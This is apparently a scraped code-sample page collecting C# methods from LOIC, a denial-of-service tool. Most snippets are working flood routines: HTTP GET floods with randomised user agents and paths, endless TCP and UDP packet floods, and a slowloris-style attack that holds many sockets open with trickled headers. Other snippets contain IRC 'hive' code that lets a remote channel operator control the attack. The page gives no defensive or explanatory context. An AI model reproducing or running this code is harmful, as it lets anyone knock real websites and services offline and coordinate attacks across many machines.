public static RandomString ( int length = 6 ) : string | ||
length | int | |
return | string |
private void bw_DoWork(object sender, DoWorkEventArgs e) { try { while (IsFlooding) { string theSubsite = BuildRandomSubsite(); string format = String.Format("GET {0}{1} HTTP/1.1{5}Host: {3}{5}User-Agent: {2}{5}Accept: */*{5}{4}{5}{5}", theSubsite, (AllowRandom ? Functions.RandomString() : null), Functions.RandomUserAgent(), Host, (AllowGzip ? "Accept-Encoding: gzip, deflate" + Environment.NewLine : null), Environment.NewLine); byte[] buf = System.Text.Encoding.ASCII.GetBytes(String.Format("GET {0}{1} HTTP/1.1{5}Host: {3}{5}User-Agent: {2}{5}Accept: */*{5}{4}{5}{5}", theSubsite, (AllowRandom ? Functions.RandomString() : null), Functions.RandomUserAgent(), Host, (AllowGzip ? "Accept-Encoding: gzip, deflate" + Environment.NewLine : null), Environment.NewLine)); IPEndPoint RHost = new IPEndPoint(System.Net.IPAddress.Parse(IP), Port); State = ReqState.Ready; // SET STATE TO READY // LastAction = Tick(); byte[] recvBuf = new byte[64]; Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); State = ReqState.Connecting; // SET STATE TO CONNECTING // try { socket.Connect(RHost); } catch { continue; } socket.Blocking = Resp; State = ReqState.Requesting; // SET STATE TO REQUESTING // socket.Send(buf, SocketFlags.None); State = ReqState.Downloading; Requested++; // SET STATE TO DOWNLOADING // REQUESTED++ if (Resp) { socket.Receive(recvBuf, 64, SocketFlags.None); } State = ReqState.Completed; Downloaded++; // SET STATE TO COMPLETED // DOWNLOADED++ tTimepoll.Stop(); tTimepoll.Start(); if (Delay >= 0) { System.Threading.Thread.Sleep(Delay + 1); } } } catch { } finally { IsFlooding = false; } }
/// <summary> /// Handles the IRC OnDisconnected event. /// </summary> /// <param name="o">Sender.</param> /// <param name="e">EventArgs.</param> private void IrcDisconnected(object o, EventArgs e) { if (ircenabled) { try { int port; if (!int.TryParse(txtIRCport.Text, out port)) { port = 6667; } irc.Connect(txtIRCserver.Text, port); irc.Login("LOIC_" + Functions.RandomString(), "Newfag's remote LOIC", 0, "IRCLOIC"); } catch { } } }
private void bw_DoWork(object sender, DoWorkEventArgs e) { try { byte[] buf; IPEndPoint RHost = new System.Net.IPEndPoint(System.Net.IPAddress.Parse(IP), Port); while (IsFlooding) { Socket socket = null; if (Protocol == 1) { socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); socket.NoDelay = true; try { socket.Connect(RHost); } catch { continue; } socket.Blocking = Resp; try { while (IsFlooding) { FloodCount++; buf = System.Text.Encoding.ASCII.GetBytes(String.Concat(Data, (AllowRandom ? Functions.RandomString() : null))); socket.Send(buf); if (Delay >= 0) { System.Threading.Thread.Sleep(Delay + 1); } } } catch { } } if (Protocol == 2) { socket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp); socket.Blocking = Resp; try { while (IsFlooding) { FloodCount++; buf = System.Text.Encoding.ASCII.GetBytes(String.Concat(Data, (AllowRandom ? Functions.RandomString() : null))); socket.SendTo(buf, SocketFlags.None, RHost); if (Delay >= 0) { System.Threading.Thread.Sleep(Delay + 1); } } } catch { } } } } catch { } }
/// <summary> /// Hive stuff. /// </summary> /// <param name="enabled">If set to <c>true</c> enabled.</param> private void DoHive(bool enabled) { try { // Is everything ok? if ((txtIRCserver.Text == "" || txtIRCchannel.Text == "") && enabled) { disableHive.Checked = true; } else if (enabled) { try { IPHostEntry ipHost = Dns.GetHostEntry(txtIRCserver.Text); } catch { disableHive.Checked = true; } } if (disableHive.Checked && enabled) { Wtf("Did you filled IRC options correctly?"); return; } // We are starting connection. Disable input in IRC boxes. txtIRCserver.Enabled = !enabled; txtIRCport.Enabled = !enabled; txtIRCchannel.Enabled = !enabled; // Lets try this! ircenabled = enabled; if (enabled) { SetStatus("Connecting.."); if (irc == null) { irc = new IrcClient(); irc.OnConnected += IrcConnected; irc.OnReadLine += OnReadLine; irc.OnChannelMessage += OnMessage; irc.OnOp += OnOp; irc.OnDeop += OnDeOp; irc.OnPart += OnPart; irc.OnNickChange += OnNickChange; irc.OnTopic += OnTopic; irc.OnTopicChange += OnTopicChange; irc.OnQuit += OnQuit; irc.OnKick += OnKick; irc.OnDisconnected += IrcDisconnected; irc.OnNames += OnNames; irc.AutoRejoinOnKick = true; irc.AutoRejoin = true; } try { int port; if (!int.TryParse(txtIRCport.Text, out port)) { port = 6667; } irc.Connect(txtIRCserver.Text, port); channel = txtIRCchannel.Text.ToLower(); irc.Login("LOIC_" + Functions.RandomString(), "Newfag's remote LOIC", 0, "IRCLOIC"); // Spawn a thread to handle the listen. irclisten = new Thread(IrcListenThread); irclisten.Start(); } // Analysis disable once EmptyGeneralCatchClause catch { } } else { try { if (irc != null) { irc.Disconnect(); } } // Analysis disable once EmptyGeneralCatchClause catch { } SetStatus("Disconnected."); } } catch { } }
private void bw_DoWork(object sender, DoWorkEventArgs e) { try { IPEndPoint RHost = new IPEndPoint(IPAddress.Parse(IP), Port); while (this.IsFlooding) { State = ReqState.Ready; // SET STATE TO READY // if (Protocol == 1) { using (Socket socket = new Socket(RHost.AddressFamily, SocketType.Stream, ProtocolType.Tcp)) { socket.NoDelay = true; State = ReqState.Connecting; // SET STATE TO CONNECTING // try { socket.Connect(RHost); } catch { continue; } socket.Blocking = Resp; State = ReqState.Requesting; // SET STATE TO REQUESTING // try { while (this.IsFlooding) { Requested++; byte[] buf = System.Text.Encoding.ASCII.GetBytes(String.Concat(Data, (AllowRandom ? Functions.RandomString() : ""))); socket.Send(buf); if (Delay >= 0) { System.Threading.Thread.Sleep(Delay + 1); } } } catch { Failed++; } } } if (Protocol == 2) { using (Socket socket = new Socket(RHost.AddressFamily, SocketType.Dgram, ProtocolType.Udp)) { socket.Blocking = Resp; State = ReqState.Requesting; // SET STATE TO REQUESTING // try { while (this.IsFlooding) { Requested++; byte[] buf = System.Text.Encoding.ASCII.GetBytes(String.Concat(Data, (AllowRandom ? Functions.RandomString() : ""))); socket.SendTo(buf, SocketFlags.None, RHost); if (Delay >= 0) { System.Threading.Thread.Sleep(Delay + 1); } } } catch { Failed++; } } } } } // Analysis disable once EmptyGeneralCatchClause catch { } finally { State = ReqState.Ready; this.IsFlooding = false; } }
private void bw_DoWork(object sender, DoWorkEventArgs e) { try { IPEndPoint RHost = new IPEndPoint(IPAddress.Parse(IP), Port); while (this.IsFlooding) { State = ReqState.Ready; // SET STATE TO READY // lastAction = Tick(); byte[] recvBuf = new byte[128]; using (Socket socket = new Socket(RHost.AddressFamily, SocketType.Stream, ProtocolType.Tcp)) { socket.NoDelay = true; State = ReqState.Connecting; // SET STATE TO CONNECTING // try { socket.Connect(RHost); } catch (SocketException) { goto _continue; } byte[] buf = Encoding.ASCII.GetBytes(String.Format("GET {0}{1} HTTP/1.1{5}Host: {3}{5}User-Agent: {2}{5}Accept: */*{5}{4}{5}{5}", Subsite, (AllowRandom ? Functions.RandomString() : ""), Functions.RandomUserAgent(), Host, (AllowGzip ? "Accept-Encoding: gzip, deflate" + Environment.NewLine : ""), Environment.NewLine)); socket.Blocking = Resp; State = ReqState.Requesting; // SET STATE TO REQUESTING // try { socket.Send(buf, SocketFlags.None); } catch (SocketException) { goto _continue; } State = ReqState.Downloading; Requested++; // SET STATE TO DOWNLOADING // REQUESTED++ if (Resp) { socket.Receive(recvBuf, recvBuf.Length, SocketFlags.None); } } State = ReqState.Completed; Downloaded++; // SET STATE TO COMPLETED // DOWNLOADED++ tTimepoll.Stop(); tTimepoll.Start(); _continue: if (Delay >= 0) { System.Threading.Thread.Sleep(Delay + 1); } } } // Analysis disable once EmptyGeneralCatchClause catch { } finally { tTimepoll.Stop(); State = ReqState.Ready; this.IsFlooding = false; } }
private void bw_DoWork(object sender, DoWorkEventArgs e) { try { // header set-up byte[] sbuf = Encoding.ASCII.GetBytes(String.Format("{3} {0} HTTP/1.1{1}Host: {2}{1}User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0){1}Keep-Alive: 300{1}Connection: keep-alive{1}Content-Length: 42{1}{4}", _subSite, Environment.NewLine, _dns, (_useget ? "GET" : "POST"), (_usegZip ? ("Accept-Encoding: gzip,deflate" + Environment.NewLine) : ""))); byte[] tbuf = Encoding.ASCII.GetBytes(String.Format("X-a: b{0}", Environment.NewLine)); DateTime stop = DateTime.UtcNow; IPEndPoint RHost = new IPEndPoint(IPAddress.Parse(_ip), _port); State = ReqState.Ready; while (this.IsFlooding) { stop = DateTime.UtcNow.AddMilliseconds(Timeout); State = ReqState.Connecting; // SET STATE TO CONNECTING // // we have to do this really slow while (this.IsFlooding && this.IsDelayed && DateTime.UtcNow < stop) { if (_random == true) { sbuf = Encoding.ASCII.GetBytes(String.Format("{4} {0}{1} HTTP/1.1{2}Host: {3}{2}User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0){2}Keep-Alive: 300{2}Connection: keep-alive{2}Content-Length: 42{2}{5}", _subSite, Functions.RandomString(), Environment.NewLine, _dns, (_useget ? "GET" : "POST"), (_usegZip ? ("Accept-Encoding: gzip,deflate" + Environment.NewLine) : ""))); } Socket socket = new Socket(RHost.AddressFamily, SocketType.Stream, ProtocolType.Tcp); try { socket.Connect(RHost); socket.NoDelay = true; socket.Blocking = false; socket.Send(sbuf); } catch { } if (socket.Connected) { _lSockets.Add(socket); Requested++; } this.IsDelayed = (_lSockets.Count < _nSockets); if (this.IsFlooding && this.IsDelayed && (Delay > 0)) { System.Threading.Thread.Sleep(Delay); } } State = ReqState.Requesting; if (_randcmds) { tbuf = Encoding.ASCII.GetBytes(String.Format("X-a: b{0}{1}", Functions.RandomString(), Environment.NewLine)); } for (int i = (_lSockets.Count - 1); this.IsFlooding && i >= 0; i--) { // keep the sockets alive try { if (!_lSockets[i].Connected || (_lSockets[i].Send(tbuf) <= 0)) { _lSockets.RemoveAt(i); Failed++; Requested--; // the "requested" number in the stats shows the actual open sockets } else { Downloaded++; // this number is actually BS .. but we wanna see sth happen :D } } catch { _lSockets.RemoveAt(i); Failed++; Requested--; } } State = ReqState.Completed; this.IsDelayed = (_lSockets.Count < _nSockets); if (!this.IsDelayed) { System.Threading.Thread.Sleep(Timeout); } } } catch { State = ReqState.Failed; } finally { this.IsFlooding = false; // not so sure about the graceful shutdown ... but why not? for (int i = (_lSockets.Count - 1); i >= 0; i--) { try { _lSockets[i].Close(); } catch { } } _lSockets.Clear(); State = ReqState.Ready; this.IsDelayed = true; } }